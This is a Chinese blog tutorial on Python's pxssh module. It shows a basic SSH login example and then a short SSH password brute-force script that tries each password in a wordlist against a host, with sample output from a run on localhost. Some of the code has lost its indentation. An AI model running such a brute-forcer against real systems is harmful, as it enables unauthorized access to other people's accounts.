pxssh模块——python

1、描述:

pxssh预先已经有了login()、logout()和prompt()等函数直接与ssh进行交互。


1.1 示例代码:

#导入pxssh模块

import pxssh


def send_command(s,cmd):

#发送命令

    s.sendline(cmd)

#获取期望的输出提示符

    s.prompt()

#显示返回信息

    print s.before


def connect(host,user,password):

    try:

#创建pxssh对象

s = pxssh.pxssh()

#登陆ssh函数

s.login(host,user,password)

return s

    except:

print '[-] Error Connecting'

exit(0)


s = connect('127.0.0.1','test','test')

send_command(s,'ls /')


1.1 运行:

sshPxssh.py是程序的文件名

root@kali:/usr/python# python sshPxssh.py 

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var


1.2 简单ssh暴力破解程序

import pxssh

import optparse


def connect(host,user,password):

    print '[-] Testing: ' + password

    try:

s = pxssh.pxssh()

s.login(host,user,password)

print '[*] Password Found: '+password

    except:

print '[-] Error Connecting'



def main():

    parser = optparse.OptionParser('usage %prog -H <host> -u <user> -F <passfile>')

    parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')

    parser.add_option('-u',dest='user',type='string',help='specify the user')

    parser.add_option('-F',dest='passwdFile',type='string',help='passwod file')

    (options,args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    fn = open(passwdFile,'r')

    for line in fn.readlines():

password = line.strip('\r').strip('\n')

connect(host,user,password)


if __name__ == '__main__':

    main()

1.2 运行:

root@kali:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test



本文转自 老鹰a  51CTO博客,原文链接:http://blog.51cto.com/laoyinga/1918577

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值